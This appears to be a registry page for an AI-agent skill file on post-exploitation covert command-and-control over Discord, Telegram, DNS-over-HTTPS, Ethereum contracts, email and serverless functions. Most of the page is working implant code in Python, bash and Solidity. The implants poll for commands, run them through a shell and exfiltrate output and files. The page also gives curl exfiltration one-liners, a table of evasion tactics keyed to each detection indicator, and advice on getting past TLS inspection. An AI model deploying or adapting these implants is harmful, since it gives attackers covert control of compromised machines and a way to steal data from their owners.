Non-traditional C2 channels — Discord/Telegram bots, DNS-over-HTTPS, blockchain-based C2, email-based C2, and cloud function dead drops for covert command and control.
62
73%
Does it follow best practices?
Run evals on this skill
Adds up to 20 points to the overall score
View guide
Critical
Do not install without reviewing
Fix and improve this skill with Tessl
tessl review fix ./packages/decepticon/decepticon/skills/standard/post-exploit/c2-alternative-channels/SKILL.mdNon-traditional command-and-control channels leverage legitimate services as transport to evade network monitoring. By routing C2 through platforms that are whitelisted or too high-volume to block, operators bypass proxy inspection, domain reputation checks, and protocol-based detection.
# Discord webhook C2 — post command output
curl -X POST -H "Content-Type: application/json" \
-d "{\"content\":\"$(whoami)\"}" \
"https://discord.com/api/webhooks/<WEBHOOK_ID>/<WEBHOOK_TOKEN>"
# Telegram bot C2 — poll for commands
curl -s "https://api.telegram.org/bot<BOT_TOKEN>/getUpdates" | jq '.result[-1].message.text'
# DNS-over-HTTPS exfil via Google
curl -s "https://dns.google/resolve?name=$(echo <DATA> | base64 | tr '+/' '-_').c2.<TARGET>&type=TXT"| Technique | ID | Usage in Skill |
|---|---|---|
| Web Service | T1102 | Discord, Telegram, cloud functions as C2 relay |
| Application Layer Protocol: DNS | T1071.004 | DNS-over-HTTPS for command/data tunneling |
| Application Layer Protocol: Mail Protocols | T1071.003 | IMAP/SMTP email-based C2 |
| Encrypted Channel | T1573 | TLS-wrapped comms to legitimate services |
Discord webhooks provide fire-and-forget output exfiltration. Combined with a bot that reads channel messages, this creates a full bidirectional C2 channel over HTTPS to discord.com — a domain almost never blocked.
# Create a Discord server and channel for C2
# Settings > Integrations > Webhooks > New Webhook
# Copy webhook URL: https://discord.com/api/webhooks/<ID>/<TOKEN>
# Create a bot for command input:
# https://discord.com/developers/applications > New Application > Bot
# Enable MESSAGE CONTENT intent
# Invite bot to server with Send Messages + Read Message History#!/usr/bin/env python3
"""Discord C2 implant — polls channel for commands, posts output via webhook."""
import requests, subprocess, time, json, os
WEBHOOK_URL = "https://discord.com/api/webhooks/<WEBHOOK_ID>/<WEBHOOK_TOKEN>"
BOT_TOKEN = "<BOT_TOKEN>"
CHANNEL_ID = "<CHANNEL_ID>"
HEADERS = {"Authorization": f"Bot {BOT_TOKEN}"}
SLEEP = 30
LAST_MSG_ID = None
def poll_command():
global LAST_MSG_ID
url = f"https://discord.com/api/v10/channels/{CHANNEL_ID}/messages?limit=1"
r = requests.get(url, headers=HEADERS)
if r.status_code != 200:
return None
msgs = r.json()
if not msgs:
return None
msg = msgs[0]
if msg["id"] == LAST_MSG_ID:
return None
LAST_MSG_ID = msg["id"]
return msg["content"]
def send_output(data):
# Discord message limit is 2000 chars; chunk if needed
for i in range(0, len(data), 1900):
chunk = data[i:i+1900]
requests.post(WEBHOOK_URL, json={"content": f"```\n{chunk}\n```"})
while True:
cmd = poll_command()
if cmd and cmd.startswith("!exec "):
try:
out = subprocess.check_output(
cmd[6:], shell=True, stderr=subprocess.STDOUT, timeout=30
).decode(errors="replace")
except subprocess.TimeoutExpired:
out = "[TIMEOUT]"
except Exception as e:
out = f"[ERROR] {e}"
send_output(out)
time.sleep(SLEEP)discord.com:443 — TLS-encrypted, CDN-hosted429Telegram's Bot API provides reliable bidirectional C2 with built-in encryption, file transfer, and global CDN distribution.
# Create bot via @BotFather on Telegram:
# /newbot -> name -> username -> receive BOT_TOKEN
# Get chat ID:
curl -s "https://api.telegram.org/bot<BOT_TOKEN>/getUpdates" | jq '.result[0].message.chat.id'#!/usr/bin/env python3
"""Telegram Bot C2 — long-poll getUpdates, execute, reply."""
import requests, subprocess, time
BOT_TOKEN = "<BOT_TOKEN>"
CHAT_ID = "<CHAT_ID>"
API = f"https://api.telegram.org/bot{BOT_TOKEN}"
OFFSET = 0
SLEEP = 15
def poll():
global OFFSET
r = requests.get(f"{API}/getUpdates", params={"offset": OFFSET, "timeout": 30})
updates = r.json().get("result", [])
for u in updates:
OFFSET = u["update_id"] + 1
text = u.get("message", {}).get("text", "")
if text.startswith("/run "):
yield text[5:]
def reply(text):
# Telegram message limit: 4096 chars
for i in range(0, len(text), 4000):
requests.post(f"{API}/sendMessage", json={
"chat_id": CHAT_ID,
"text": f"```\n{text[i:i+4000]}\n```",
"parse_mode": "Markdown"
})
def upload(path):
with open(path, "rb") as f:
requests.post(f"{API}/sendDocument", data={"chat_id": CHAT_ID}, files={"document": f})
while True:
for cmd in poll():
if cmd.startswith("upload "):
upload(cmd[7:])
continue
try:
out = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT, timeout=60)
reply(out.decode(errors="replace"))
except Exception as e:
reply(f"[ERROR] {e}")
time.sleep(SLEEP)sendDocument uploads files up to 50 MBgetUpdates?timeout=30 reduces beacon frequencyapi.telegram.org over TLS; set bot privacy modeDNS-over-HTTPS encapsulates DNS queries inside HTTPS to providers like Google (dns.google) or Cloudflare (1.1.1.1). Since DoH bypasses traditional DNS monitoring (no UDP/53 inspection), it creates a covert channel.
Implant -> HTTPS -> dns.google/resolve -> Authoritative NS (operator-controlled)
^
| TXT records = encoded commands
| A records = encoded data#!/bin/bash
# DoH C2 beacon — query operator's DNS for commands via Google DoH
C2_DOMAIN="c2.<TARGET>"
DOH_URL="https://dns.google/resolve"
SLEEP=60
encode() { echo -n "$1" | base64 | tr '+/=' '-_ ' | tr -d ' '; }
decode() { echo -n "$1" | tr '-_' '+/' | base64 -d 2>/dev/null; }
# Register implant
HOSTNAME=$(hostname)
IMPLANT_ID=$(encode "$HOSTNAME" | head -c 20)
curl -s "${DOH_URL}?name=${IMPLANT_ID}.reg.${C2_DOMAIN}&type=A" > /dev/null
while true; do
# Poll for command
RESP=$(curl -s "${DOH_URL}?name=${IMPLANT_ID}.cmd.${C2_DOMAIN}&type=TXT")
CMD=$(echo "$RESP" | jq -r '.Answer[0].data // empty' | tr -d '"')
if [ -n "$CMD" ]; then
DECODED=$(decode "$CMD")
OUTPUT=$(eval "$DECODED" 2>&1 | head -c 200)
ENCODED=$(encode "$OUTPUT")
# Exfil output via subdomain labels (max 63 chars per label)
for chunk in $(echo "$ENCODED" | fold -w 60); do
curl -s "${DOH_URL}?name=${chunk}.out.${IMPLANT_ID}.${C2_DOMAIN}&type=A" > /dev/null
done
fi
sleep $SLEEP
done| Provider | Endpoint | Notes |
|---|---|---|
https://dns.google/resolve | JSON API, widely allowed | |
| Cloudflare | https://1.1.1.1/dns-query | Wire format + JSON |
| Quad9 | https://dns.quad9.net:5053/dns-query | Less common, lower profile |
Smart contracts on Ethereum (or other EVM chains) act as a censorship-resistant dead-drop. Commands are stored on-chain; the implant reads contract state via public RPC endpoints.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract C2 {
address private owner;
mapping(bytes32 => string) private commands;
mapping(bytes32 => string) private responses;
constructor() { owner = msg.sender; }
modifier onlyOwner() { require(msg.sender == owner, ""); _; }
function setCommand(bytes32 implantId, string calldata cmd) external onlyOwner {
commands[implantId] = cmd;
}
function getCommand(bytes32 implantId) external view returns (string memory) {
return commands[implantId];
}
function postResponse(bytes32 implantId, string calldata resp) external {
responses[implantId] = resp;
}
function getResponse(bytes32 implantId) external view returns (string memory) {
return responses[implantId];
}
}#!/usr/bin/env python3
"""Ethereum smart contract C2 — read commands from chain, post results."""
from web3 import Web3
import subprocess, time, hashlib
RPC_URL = "https://mainnet.infura.io/v3/<API_KEY>" # or any public RPC
CONTRACT_ADDR = "<DEPLOYED_CONTRACT_ADDRESS>"
ABI = [...] # ABI from compilation
IMPLANT_ID = Web3.keccak(text=__import__("socket").gethostname())
w3 = Web3(Web3.HTTPProvider(RPC_URL))
contract = w3.eth.contract(address=CONTRACT_ADDR, abi=ABI)
while True:
cmd = contract.functions.getCommand(IMPLANT_ID).call()
if cmd:
try:
out = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT, timeout=30)
# Post response on-chain (requires funded wallet for gas)
# For read-only implants, exfil via side channel instead
except Exception as e:
out = str(e).encode()
time.sleep(300)Email C2 uses standard mail protocols. The implant logs into a shared mailbox, reads commands from emails, and replies with output. Traffic blends with normal corporate email.
#!/usr/bin/env python3
"""Email C2 — read commands from IMAP inbox, send results via SMTP."""
import imaplib, smtplib, email, subprocess, time
from email.mime.text import MIMEText
IMAP_SERVER = "imap.gmail.com"
SMTP_SERVER = "smtp.gmail.com"
EMAIL_ADDR = "<C2_EMAIL>@gmail.com"
EMAIL_PASS = "<APP_PASSWORD>"
OPERATOR = "<OPERATOR_EMAIL>"
SLEEP = 120
def check_commands():
imap = imaplib.IMAP4_SSL(IMAP_SERVER)
imap.login(EMAIL_ADDR, EMAIL_PASS)
imap.select("INBOX")
_, nums = imap.search(None, "UNSEEN", f'FROM "{OPERATOR}"')
commands = []
for num in nums[0].split():
_, data = imap.fetch(num, "(RFC822)")
msg = email.message_from_bytes(data[0][1])
body = msg.get_payload(decode=True).decode(errors="replace")
commands.append(body.strip())
imap.store(num, "+FLAGS", "\\Deleted")
imap.expunge()
imap.logout()
return commands
def send_result(subject, body):
msg = MIMEText(body)
msg["Subject"] = subject
msg["From"] = EMAIL_ADDR
msg["To"] = OPERATOR
with smtplib.SMTP_SSL(SMTP_SERVER, 465) as s:
s.login(EMAIL_ADDR, EMAIL_PASS)
s.send_message(msg)
while True:
for cmd in check_commands():
try:
out = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT, timeout=60)
send_result(f"RE: Report {time.strftime('%H%M')}", out.decode(errors="replace"))
except Exception as e:
send_result("RE: Error", str(e))
time.sleep(SLEEP)Serverless functions (AWS Lambda, Azure Functions, GCP Cloud Functions) act as C2 redirectors. The implant calls a legitimate cloud endpoint; the function relays to the operator.
# Lambda function — relays between implant and operator S3 bucket
import boto3, json
s3 = boto3.client("s3")
BUCKET = "<C2_BUCKET>"
def lambda_handler(event, context):
body = json.loads(event.get("body", "{}"))
action = body.get("action")
implant_id = body.get("id", "unknown")
if action == "checkin":
# Return pending command from S3
try:
obj = s3.get_object(Bucket=BUCKET, Key=f"cmd/{implant_id}")
cmd = obj["Body"].read().decode()
s3.delete_object(Bucket=BUCKET, Key=f"cmd/{implant_id}")
return {"statusCode": 200, "body": json.dumps({"cmd": cmd})}
except s3.exceptions.NoSuchKey:
return {"statusCode": 200, "body": json.dumps({"cmd": ""})}
elif action == "result":
# Store command output
s3.put_object(
Bucket=BUCKET,
Key=f"out/{implant_id}/{context.aws_request_id}",
Body=body.get("data", "").encode()
)
return {"statusCode": 200, "body": "ok"}# Same pattern as Lambda — uses Azure Blob Storage instead of S3.
# Endpoint: https://<APP>.azurewebsites.net/api/c2
# Storage: Azure Blob container for cmd/{implant_id} and out/{implant_id}
# SKU: Consumption plan (serverless, pay-per-execution)# Checkin — looks like normal API call to *.amazonaws.com or *.azurewebsites.net
curl -s -X POST "https://<FUNCTION_URL>/api/c2" \
-H "Content-Type: application/json" \
-d "{\"action\":\"checkin\",\"id\":\"$(hostname | md5sum | cut -c1-8)\"}"
# Post results
curl -s -X POST "https://<FUNCTION_URL>/api/c2" \
-H "Content-Type: application/json" \
-d "{\"action\":\"result\",\"id\":\"$(hostname | md5sum | cut -c1-8)\",\"data\":\"$(whoami | base64)\"}"| Indicator | Pattern | Mitigation |
|---|---|---|
| Discord API calls | Outbound HTTPS to discord.com/api/webhooks | Rotate webhooks; use bot API over multiple channels |
| Telegram API calls | Outbound HTTPS to api.telegram.org | Route through proxy; use MTProto instead of Bot API |
| High-frequency DoH | Repeated dns.google/resolve with encoded subdomains | Lower beacon rate; rotate DoH providers |
| Blockchain RPC | JSON-RPC calls to Infura/Alchemy with eth_call | Use public RPC endpoints; rotate providers |
| IMAP/SMTP patterns | Periodic login/logout cycles to mail server | Use IMAP IDLE; vary timing |
| Cloud function calls | Periodic POST to *.amazonaws.com / *.azurewebsites.net | Jitter timing; rotate function URLs |
| Base64 in DNS labels | Encoded subdomains in queries | Use custom encoding; fragment data |
| Issue | Symptom | Resolution |
|---|---|---|
| Discord rate limit | HTTP 429 responses | Implement exponential backoff; reduce output frequency |
| Telegram bot blocked | getUpdates returns 409 | Only one poller per bot; use webhook mode instead |
| DoH provider blocks | DNS queries return SERVFAIL | Rotate to alternate DoH provider (Google/CF/Quad9) |
| Ethereum gas spike | Transaction pending indefinitely | Use read-only pattern; exfil via side channel |
| Email account locked | IMAP auth failure | Use OAuth; avoid rapid login cycles |
| Lambda cold start | First request takes 5-10 seconds | Use provisioned concurrency or keep-alive pings |
| Cloud function rate limit | HTTP 429 from API Gateway | Distribute across multiple functions/regions |
| TLS inspection | Proxy MITM breaks certificate pinning | Use certificate pinning bypass or alternate transport |
What constraints exist on outbound traffic?
├── Web traffic only (HTTP/HTTPS whitelisted)
│ ├── Social media allowed?
│ │ ├── YES -> Discord or Telegram C2 (fastest setup)
│ │ └── NO -> Cloud function relay (*.amazonaws.com usually allowed)
│ └── Cloud services allowed?
│ ├── YES -> AWS Lambda / Azure Functions dead drop
│ └── NO -> Domain fronting (see c2-domain-fronting skill)
├── DNS allowed (UDP/53 or DoH)
│ ├── DoH to Google/Cloudflare reachable?
│ │ ├── YES -> DoH C2 channel
│ │ └── NO -> Traditional DNS tunneling (see Sliver DNS)
│ └── Custom authoritative NS available?
│ └── YES -> Full DNS C2 with TXT record encoding
├── Email allowed (IMAP/SMTP/EWS)
│ ├── Corporate Exchange/O365?
│ │ └── Use Graph API or EWS — blends with enterprise mail
│ └── External mail (Gmail)?
│ └── Email C2 with app passwords
└── Maximum stealth required
├── Blockchain C2 (censorship-resistant, no takedown)
└── Combine channels: DoH for commands, Discord for exfil| Tool | Purpose | Source |
|---|---|---|
| Slackor | Slack-based C2 framework | https://github.com/Coalfire-Research/Slackor |
| DVMC2 | Discord/Virus Total C2 | https://github.com/3xpl01tc0d3r/DVMC2 |
| Gcat | Gmail C2 channel | https://github.com/byt3bl33d3r/gcat |
| DNScat2 | DNS tunnel C2 | https://github.com/iagox86/dnscat2 |
| godoh | DNS-over-HTTPS C2 | https://github.com/sensepost/godoh |
| TrevorC2 | Legitimate website C2 | https://github.com/trustedsec/trevorc2 |
| Mythic | Multi-channel C2 framework | https://github.com/its-a-feature/Mythic |
| C3 | Custom C2 channel framework | https://github.com/FSecureLABS/C3 |
e34afba
If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.